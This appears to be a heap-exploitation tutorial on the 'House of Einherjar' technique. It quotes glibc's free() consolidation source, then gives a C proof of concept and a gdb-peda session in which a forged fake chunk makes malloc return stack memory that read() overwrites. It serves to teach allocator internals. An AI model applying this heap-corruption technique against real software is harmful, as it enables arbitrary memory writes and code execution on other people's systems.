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List

House of einherjar

  /*
    Consolidate other non-mmapped chunks as they arrive.
  */

  else if (!chunk_is_mmapped(p)) {
    if (! have_lock) {
      __libc_lock_lock (av->mutex);
      locked = 1;
    }

    nextchunk = chunk_at_offset(p, size);

    /* Lightweight tests: check whether the block is already the
       top block.  */
    if (__glibc_unlikely (p == av->top))
      {
	errstr = "double free or corruption (top)";
	goto errout;
      }
    /* Or whether the next chunk is beyond the boundaries of the arena.  */
    if (__builtin_expect (contiguous (av)
			  && (char *) nextchunk
			  >= ((char *) av->top + chunksize(av->top)), 0))
      {
	errstr = "double free or corruption (out)";
	goto errout;
      }
    /* Or whether the block is actually not marked used.  */
    if (__glibc_unlikely (!prev_inuse(nextchunk)))
      {
	errstr = "double free or corruption (!prev)";
	goto errout;
      }

    nextsize = chunksize(nextchunk);
    if (__builtin_expect (chunksize_nomask (nextchunk) <= 2 * SIZE_SZ, 0)
	|| __builtin_expect (nextsize >= av->system_mem, 0))
      {
	errstr = "free(): invalid next size (normal)";
	goto errout;
      }

    free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);

    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
    }

    if (nextchunk != av->top) {
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

      /* consolidate forward */
      if (!nextinuse) {
	unlink(av, nextchunk, bck, fwd);
	size += nextsize;
      } else
	clear_inuse_bit_at_offset(nextchunk, 0);

      /*
	Place the chunk in unsorted chunk list. Chunks are
	not placed into regular bins until after they have
	been given one chance to be used in malloc.
      */

      bck = unsorted_chunks(av);
      fwd = bck->fd;
      if (__glibc_unlikely (fwd->bk != bck))
	{
	  errstr = "free(): corrupted unsorted chunks";
	  goto errout;
	}
      p->fd = fwd;
      p->bk = bck;
      if (!in_smallbin_range(size))
	{
	  p->fd_nextsize = NULL;
	  p->bk_nextsize = NULL;
	}
      bck->fd = p;
      fwd->bk = p;

      set_head(p, size | PREV_INUSE);
      set_foot(p, size);

      check_free_chunk(av, p);
    }

    /*
      If the chunk borders the current high end of memory,
      consolidate into top
    */

    else {
      size += nextsize;
      set_head(p, size | PREV_INUSE);
      av->top = p;
      check_chunk(av, p);
    }

Example

#include <stdio.h>
#include <malloc.h>
#include <unistd.h>
int main()
{
    unsigned long fake_chunk[6];
    fprintf(stderr,"fake_chunk : %p\n", fake_chunk);

    fake_chunk[0] = 0x100;
    fake_chunk[2] = (unsigned long)fake_chunk;
    fake_chunk[3] = (unsigned long)fake_chunk;
    fake_chunk[4] = (unsigned long)fake_chunk;
    fake_chunk[5] = (unsigned long)fake_chunk;


    unsigned long *buf1 = malloc(0x70);
    unsigned long *buf2 = malloc(0xf0);
 
    fake_chunk[1] = (char*)(buf2 - 2) - (char*)fake_chunk;
    *(buf2 - 2) = (char*)(buf2 - 2) - (char*)fake_chunk;
    *(buf2 - 1) = 0x100;

    free(buf2);

    char *buf4 = malloc(0x200);
    read(STDIN_FILENO,buf4, 0x200);
}
lazenca0x0@ubuntu:~$ gdb -q ./house_of_einherjar
Reading symbols from ./house_of_einherjar...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x00000000004006a6 <+0>:	push   rbp
   0x00000000004006a7 <+1>:	mov    rbp,rsp
   0x00000000004006aa <+4>:	sub    rsp,0x60
   0x00000000004006ae <+8>:	mov    rax,QWORD PTR fs:0x28
   0x00000000004006b7 <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000004006bb <+21>:	xor    eax,eax
   0x00000000004006bd <+23>:	mov    rax,QWORD PTR [rip+0x20099c]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x00000000004006c4 <+30>:	lea    rdx,[rbp-0x40]
   0x00000000004006c8 <+34>:	mov    esi,0x400874
   0x00000000004006cd <+39>:	mov    rdi,rax
   0x00000000004006d0 <+42>:	mov    eax,0x0
   0x00000000004006d5 <+47>:	call   0x400580 <fprintf@plt>
   0x00000000004006da <+52>:	mov    QWORD PTR [rbp-0x40],0x100
   0x00000000004006e2 <+60>:	lea    rax,[rbp-0x40]
   0x00000000004006e6 <+64>:	mov    QWORD PTR [rbp-0x30],rax
   0x00000000004006ea <+68>:	lea    rax,[rbp-0x40]
   0x00000000004006ee <+72>:	mov    QWORD PTR [rbp-0x28],rax
   0x00000000004006f2 <+76>:	lea    rax,[rbp-0x40]
   0x00000000004006f6 <+80>:	mov    QWORD PTR [rbp-0x20],rax
   0x00000000004006fa <+84>:	lea    rax,[rbp-0x40]
   0x00000000004006fe <+88>:	mov    QWORD PTR [rbp-0x18],rax
   0x0000000000400702 <+92>:	mov    edi,0x70
   0x0000000000400707 <+97>:	call   0x400590 <malloc@plt>
   0x000000000040070c <+102>:	mov    QWORD PTR [rbp-0x58],rax
   0x0000000000400710 <+106>:	mov    edi,0xf0
   0x0000000000400715 <+111>:	call   0x400590 <malloc@plt>
   0x000000000040071a <+116>:	mov    QWORD PTR [rbp-0x50],rax
   0x000000000040071e <+120>:	mov    rax,QWORD PTR [rip+0x20093b]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400725 <+127>:	mov    rdx,QWORD PTR [rbp-0x58]
   0x0000000000400729 <+131>:	mov    esi,0x400885
   0x000000000040072e <+136>:	mov    rdi,rax
   0x0000000000400731 <+139>:	mov    eax,0x0
   0x0000000000400736 <+144>:	call   0x400580 <fprintf@plt>
   0x000000000040073b <+149>:	mov    rax,QWORD PTR [rip+0x20091e]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400742 <+156>:	mov    rdx,QWORD PTR [rbp-0x50]
   0x0000000000400746 <+160>:	mov    esi,0x400890
   0x000000000040074b <+165>:	mov    rdi,rax
   0x000000000040074e <+168>:	mov    eax,0x0
   0x0000000000400753 <+173>:	call   0x400580 <fprintf@plt>
   0x0000000000400758 <+178>:	mov    rax,QWORD PTR [rbp-0x50]
   0x000000000040075c <+182>:	sub    rax,0x10
   0x0000000000400760 <+186>:	mov    rdx,rax
   0x0000000000400763 <+189>:	lea    rax,[rbp-0x40]
   0x0000000000400767 <+193>:	sub    rdx,rax
   0x000000000040076a <+196>:	mov    rax,rdx
   0x000000000040076d <+199>:	mov    QWORD PTR [rbp-0x38],rax
   0x0000000000400771 <+203>:	mov    rax,QWORD PTR [rbp-0x50]
   0x0000000000400775 <+207>:	sub    rax,0x10
   0x0000000000400779 <+211>:	mov    rdx,QWORD PTR [rbp-0x50]
   0x000000000040077d <+215>:	sub    rdx,0x10
   0x0000000000400781 <+219>:	mov    rcx,rdx
   0x0000000000400784 <+222>:	lea    rdx,[rbp-0x40]
   0x0000000000400788 <+226>:	sub    rcx,rdx
   0x000000000040078b <+229>:	mov    rdx,rcx
   0x000000000040078e <+232>:	mov    QWORD PTR [rax],rdx
   0x0000000000400791 <+235>:	mov    rax,QWORD PTR [rbp-0x50]
   0x0000000000400795 <+239>:	sub    rax,0x8
   0x0000000000400799 <+243>:	mov    QWORD PTR [rax],0x100
   0x00000000004007a0 <+250>:	mov    rax,QWORD PTR [rbp-0x50]
   0x00000000004007a4 <+254>:	mov    rdi,rax
   0x00000000004007a7 <+257>:	call   0x400540 <free@plt>
   0x00000000004007ac <+262>:	mov    edi,0x200
   0x00000000004007b1 <+267>:	call   0x400590 <malloc@plt>
   0x00000000004007b6 <+272>:	mov    QWORD PTR [rbp-0x48],rax
   0x00000000004007ba <+276>:	mov    rax,QWORD PTR [rbp-0x48]
   0x00000000004007be <+280>:	mov    edx,0x200
   0x00000000004007c3 <+285>:	mov    rsi,rax
   0x00000000004007c6 <+288>:	mov    edi,0x0
   0x00000000004007cb <+293>:	call   0x400560 <read@plt>
   0x00000000004007d0 <+298>:	mov    eax,0x0
   0x00000000004007d5 <+303>:	mov    rsi,QWORD PTR [rbp-0x8]
   0x00000000004007d9 <+307>:	xor    rsi,QWORD PTR fs:0x28
   0x00000000004007e2 <+316>:	je     0x4007e9 <main+323>
   0x00000000004007e4 <+318>:	call   0x400550 <__stack_chk_fail@plt>
   0x00000000004007e9 <+323>:	leave  
   0x00000000004007ea <+324>:	ret    
End of assembler dump.
gdb-peda$ b *0x00000000004007a7
Breakpoint 1 at 0x4007a7
gdb-peda$ b *0x00000000004007cb
Breakpoint 2 at 0x4007cb
gdb-peda$
gdb-peda$ r
Starting program: /home/lazenca0x0/house_of_einherjar 
fake_chunk : 0x7fffffffe430
buf1 : 0x602010
buf2 : 0x602090

Breakpoint 1, 0x00000000004007a7 in main ()
gdb-peda$ x/i $rip
=> 0x4007a7 <main+257>:	call   0x400540 <free@plt>
gdb-peda$ i r rdi
rdi            0x602090	0x602090
gdb-peda$ x/4gx 0x602090 - 0x10
0x602080:	0xffff800000603c50	0x0000000000000100
0x602090:	0x0000000000000000	0x0000000000000000
gdb-peda$ p/x 0x602080 - 0xffff800000603c50
$1 = 0x7fffffffe430
gdb-peda$ x/4gx 0x7fffffffe430
0x7fffffffe430:	0x0000000000000100	0xffff800000603c50
0x7fffffffe440:	0x00007fffffffe430	0x00007fffffffe430
gdb-peda$ p main_arena.top 
$2 = (mchunkptr) 0x602180
gdb-peda$ ni

0x00000000004007ac in main ()
gdb-peda$ p main_arena.top 
$3 = (mchunkptr) 0x7fffffffe430
gdb-peda$ x/4gx 0x7fffffffe430
0x7fffffffe430:	0x0000000000000100	0xffff800000624bd1
0x7fffffffe440:	0x00007fffffffe430	0x00007fffffffe430
gdb-peda$
gdb-peda$ ni

0x00000000004007b1 in main ()
gdb-peda$ x/i $rip
=> 0x4007b1 <main+267>:	call   0x400590 <malloc@plt>
gdb-peda$ ni

0x00000000004007b6 in main ()
gdb-peda$ i r rax
rax            0x7fffffffe440	0x7fffffffe440
gdb-peda$ x/4gx 0x7fffffffe440
0x7fffffffe440:	0x00007fffffffe430	0x00007fffffffe430
0x7fffffffe450:	0x00007fffffffe430	0x00007fffffffe430
gdb-peda$ c
Continuing.

Breakpoint 2, 0x00000000004007cb in main ()
gdb-peda$ x/i $rip
=> 0x4007cb <main+293>:	call   0x400560 <read@plt>
gdb-peda$ i r rsi
rsi            0x7fffffffe440	0x7fffffffe440
gdb-peda$ ni
AAAAAAAAAAAAAAAA

0x00000000004007d0 in main ()
gdb-peda$ x/4gx 0x7fffffffe440
0x7fffffffe440:	0x4141414141414141	0x4141414141414141
0x7fffffffe450:	0x00007fffffffe40a	0x00007fffffffe430
gdb-peda$ 

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